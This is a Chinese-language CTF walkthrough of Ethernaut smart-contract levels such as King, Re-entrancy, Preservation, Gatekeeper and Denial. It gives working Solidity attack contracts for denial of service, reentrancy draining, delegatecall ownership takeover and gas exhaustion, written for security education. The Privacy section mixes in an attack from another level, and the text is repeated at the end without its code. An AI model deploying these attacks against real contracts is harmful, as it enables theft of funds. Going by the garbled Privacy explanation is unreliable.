Ethernaut闯关录(下)
字数 2021 2025-08-22 12:22:48

Ethernaut智能合约闯关全解析(下)

King关卡解析

关卡要求

  • 目标:阻止合约回退,使攻击合约永久成为国王

合约分析

contract King is Ownable {
    address public king;
    uint public prize;
    
    function King() public payable {
        king = msg.sender;
        prize = msg.value;
    }
    
    function() external payable {
        require(msg.value >= prize || msg.sender == owner);
        king.transfer(msg.value);
        king = msg.sender;
        prize = msg.value;
    }
}

攻击原理

  1. 当新国王产生时,原国王会收到奖金
  2. 如果攻击合约拒绝接收奖金(通过revert()),就能永久保持国王地位

攻击合约

contract attack {
    function attack(address _addr) public payable {
        _addr.call.gas(10000000).value(msg.value)();
    }
    
    function() public {
        revert();
    }
}

攻击步骤

  1. 获取实例并查看当前prize值和king地址
  2. 部署攻击合约
  3. 调用攻击合约成为新国王
  4. 提交实例验证

Re-entrancy关卡解析

关卡要求

  • 目标:盗取合约中的所有代币

合约漏洞

function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
        if(msg.sender.call.value(_amount)()) {
            _amount;
        }
        balances[msg.sender] -= _amount;
    }
}
  • 使用call.value()发送以太币后才更新余额
  • 攻击者可在fallback函数中递归调用withdraw

攻击合约

contract ReentrancePoc {
    Reentrance reInstance;
    
    function ReentrancePoc(address _addr) public {
        reInstance = Reentrance(_addr);
    }
    
    function callDonate() public payable {
        reInstance.donate.value(msg.value)(this);
    }
    
    function attack() public {
        reInstance.withdraw(1 ether);
    }
    
    function() public payable {
        if(address(reInstance).balance >= 1 ether){
            reInstance.withdraw(1 ether);
        }
    }
}

攻击步骤

  1. 获取实例并记录合约地址
  2. 部署攻击合约
  3. 向攻击合约地址捐赠1 ether
  4. 调用attack函数实施重入攻击
  5. 提交实例验证

Elevator关卡解析

关卡要求

  • 目标:绕过限制使top变为true

合约分析

contract Elevator {
    bool public top;
    uint public floor;
    
    function goTo(uint _floor) public {
        Building building = Building(msg.sender);
        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

攻击原理

  • goTo函数调用了两次isLastFloor
  • 构造取反函数使第一次返回false,第二次返回true

攻击合约

contract BuildingEXP {
    Elevator ele;
    bool t = true;
    
    function isLastFloor(uint) view public returns (bool) {
        t = !t;
        return t;
    }
    
    function attack(address _addr) public {
        ele = Elevator(_addr);
        ele.goTo(5);
    }
}

攻击步骤

  1. 获取实例并查看初始top值
  2. 部署攻击合约
  3. 调用attack函数传入合约地址
  4. 验证top已变为true
  5. 提交实例

Privacy关卡解析

关卡要求

  • 目标:将locked状态从true改为false

存储布局分析

slot 0: bool locked (1字节) + 填充
slot 1: uint256 ID (不存储,因为是constant)
slot 2: uint8 flattening (1字节) + uint8 denomination (1字节) + uint16 awkwardness (2字节) + 填充
slot 3: bytes32[3] data

攻击原理

  • 通过结构体重定义覆盖存储
  • 传入_name为bytes32(1)会覆盖slot 0

攻击步骤

  1. 获取实例
  2. 调用register函数传入bytes32(1)和任意地址
  3. 验证locked已变为false
  4. 提交实例

Gatekeeper One关卡解析

关卡要求

  • 绕过三个修饰器的限制

三个条件

  1. gateOne: msg.sender != tx.origin(通过中间合约)
  2. gateTwo: msg.gas % 8191 == 0(需调试找到合适gas值)
  3. gateThree:
    • uint32(_gateKey) == uint16(_gateKey)
    • uint32(_gateKey) != uint64(_gateKey)
    • uint32(_gateKey) == uint16(tx.origin)

攻击合约

contract Attack {
    function hack() public {
        target.call.gas(适当的gas)(bytes4(keccak256("enter(bytes8)")), _gateKey);
    }
}

Gatekeeper Two关卡解析

三个条件

  1. gateOne: msg.sender != tx.origin(通过中间合约)
  2. gateTwo: extcodesize(caller) == 0(在构造函数中调用)
  3. gateThree: uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1

攻击合约

contract attack {
    function attack(address param) {
        GatekeeperTwo a = GatekeeperTwo(param);
        bytes8 _gateKey = bytes8((uint64(0) - 1) ^ uint64(keccak256(this)));
        a.enter(_gateKey);
    }
}

Naught Coin关卡解析

关卡要求

  • 绕过时间锁转移所有代币

攻击原理

  • 利用未重写的transferFrom函数
  • 先approve再transferFrom

攻击步骤

  1. 调用approve授权自己
  2. 调用transferFrom转移代币
  3. 提交实例

Preservation关卡解析

关卡要求

  • 获取合约的owner权限

攻击原理

  • 通过delegatecall修改timeZone1Library为攻击合约地址
  • 再次调用修改owner

攻击合约

contract PreservationPoc {
    function setTime(uint _time) public {
        owner = address(_time);
    }
}

攻击步骤

  1. 调用setSecondTime设置攻击合约地址
  2. 调用setFirstTime设置owner地址
  3. 提交实例

Recovery关卡解析

关卡要求

  • 从丢失的合约地址中恢复0.5 ether

攻击原理

  • 通过交易哈希查找创建的SimpleToken合约地址
  • 调用destroy函数回收资金

攻击步骤

  1. 从交易记录中找到合约地址
  2. 调用destroy函数
  3. 提交实例

MagicNumber关卡解析

关卡要求

  • 提供最多10个操作码的合约返回42

解决方案

var bytecode = "0x600a600c600039600a6000f3602A60805260206080f3";
web3.eth.sendTransaction({from: player, data: bytecode}, function(err, res){});
await contract.setSolver("合约地址");

Alien Codex关卡解析

关卡要求

  • 获取合约的所有权

攻击原理

  1. 通过数组长度下溢获得对整个存储的写权限
  2. 计算owner存储位置并覆盖

攻击步骤

  1. 调用make_contact绕过contact检查
  2. 调用retract使数组长度下溢
  3. 计算owner存储位置并覆盖
  4. 提交实例

Denial关卡解析

关卡要求

  • 造成DOS使owner无法提取资产

攻击原理

  • 通过重入攻击耗尽gas

攻击合约

contract Attack {
    function() payable public {
        target.withdraw();
    }
}

总结

本教学文档详细分析了Ethernaut各个关卡的智能合约漏洞及攻击方法,关键点包括:

  1. 拒绝服务攻击(King)
  2. 重入漏洞(Re-entrancy)
  3. 状态变量覆盖(Privacy)
  4. 委托调用风险(Preservation)
  5. 存储布局操作(Alien Codex)
  6. 低级别字节码操作(MagicNumber)

每个攻击都展示了智能合约开发中需要注意的安全问题,开发者应特别注意:

  • 外部调用顺序
  • 状态变量更新时机
  • 存储布局设计
  • 算术运算安全性
  • 权限控制机制

通过实践这些关卡,可以深入理解以太坊智能合约的安全机制和常见漏洞模式。

Ethernaut智能合约闯关全解析(下) King关卡解析 关卡要求 目标:阻止合约回退,使攻击合约永久成为国王 合约分析 攻击原理 当新国王产生时,原国王会收到奖金 如果攻击合约拒绝接收奖金(通过revert()),就能永久保持国王地位 攻击合约 攻击步骤 获取实例并查看当前prize值和king地址 部署攻击合约 调用攻击合约成为新国王 提交实例验证 Re-entrancy关卡解析 关卡要求 目标:盗取合约中的所有代币 合约漏洞 使用call.value()发送以太币后才更新余额 攻击者可在fallback函数中递归调用withdraw 攻击合约 攻击步骤 获取实例并记录合约地址 部署攻击合约 向攻击合约地址捐赠1 ether 调用attack函数实施重入攻击 提交实例验证 Elevator关卡解析 关卡要求 目标:绕过限制使top变为true 合约分析 攻击原理 goTo函数调用了两次isLastFloor 构造取反函数使第一次返回false,第二次返回true 攻击合约 攻击步骤 获取实例并查看初始top值 部署攻击合约 调用attack函数传入合约地址 验证top已变为true 提交实例 Privacy关卡解析 关卡要求 目标:将locked状态从true改为false 存储布局分析 攻击原理 通过结构体重定义覆盖存储 传入_ name为bytes32(1)会覆盖slot 0 攻击步骤 获取实例 调用register函数传入bytes32(1)和任意地址 验证locked已变为false 提交实例 Gatekeeper One关卡解析 关卡要求 绕过三个修饰器的限制 三个条件 gateOne: msg.sender != tx.origin(通过中间合约) gateTwo: msg.gas % 8191 == 0(需调试找到合适gas值) gateThree: uint32(_ gateKey) == uint16(_ gateKey) uint32(_ gateKey) != uint64(_ gateKey) uint32(_ gateKey) == uint16(tx.origin) 攻击合约 Gatekeeper Two关卡解析 三个条件 gateOne: msg.sender != tx.origin(通过中间合约) gateTwo: extcodesize(caller) == 0(在构造函数中调用) gateThree: uint64(keccak256(msg.sender)) ^ uint64(_ gateKey) == uint64(0) - 1 攻击合约 Naught Coin关卡解析 关卡要求 绕过时间锁转移所有代币 攻击原理 利用未重写的transferFrom函数 先approve再transferFrom 攻击步骤 调用approve授权自己 调用transferFrom转移代币 提交实例 Preservation关卡解析 关卡要求 获取合约的owner权限 攻击原理 通过delegatecall修改timeZone1Library为攻击合约地址 再次调用修改owner 攻击合约 攻击步骤 调用setSecondTime设置攻击合约地址 调用setFirstTime设置owner地址 提交实例 Recovery关卡解析 关卡要求 从丢失的合约地址中恢复0.5 ether 攻击原理 通过交易哈希查找创建的SimpleToken合约地址 调用destroy函数回收资金 攻击步骤 从交易记录中找到合约地址 调用destroy函数 提交实例 MagicNumber关卡解析 关卡要求 提供最多10个操作码的合约返回42 解决方案 Alien Codex关卡解析 关卡要求 获取合约的所有权 攻击原理 通过数组长度下溢获得对整个存储的写权限 计算owner存储位置并覆盖 攻击步骤 调用make_ contact绕过contact检查 调用retract使数组长度下溢 计算owner存储位置并覆盖 提交实例 Denial关卡解析 关卡要求 造成DOS使owner无法提取资产 攻击原理 通过重入攻击耗尽gas 攻击合约 总结 本教学文档详细分析了Ethernaut各个关卡的智能合约漏洞及攻击方法,关键点包括: 拒绝服务攻击(King) 重入漏洞(Re-entrancy) 状态变量覆盖(Privacy) 委托调用风险(Preservation) 存储布局操作(Alien Codex) 低级别字节码操作(MagicNumber) 每个攻击都展示了智能合约开发中需要注意的安全问题,开发者应特别注意: 外部调用顺序 状态变量更新时机 存储布局设计 算术运算安全性 权限控制机制 通过实践这些关卡,可以深入理解以太坊智能合约的安全机制和常见漏洞模式。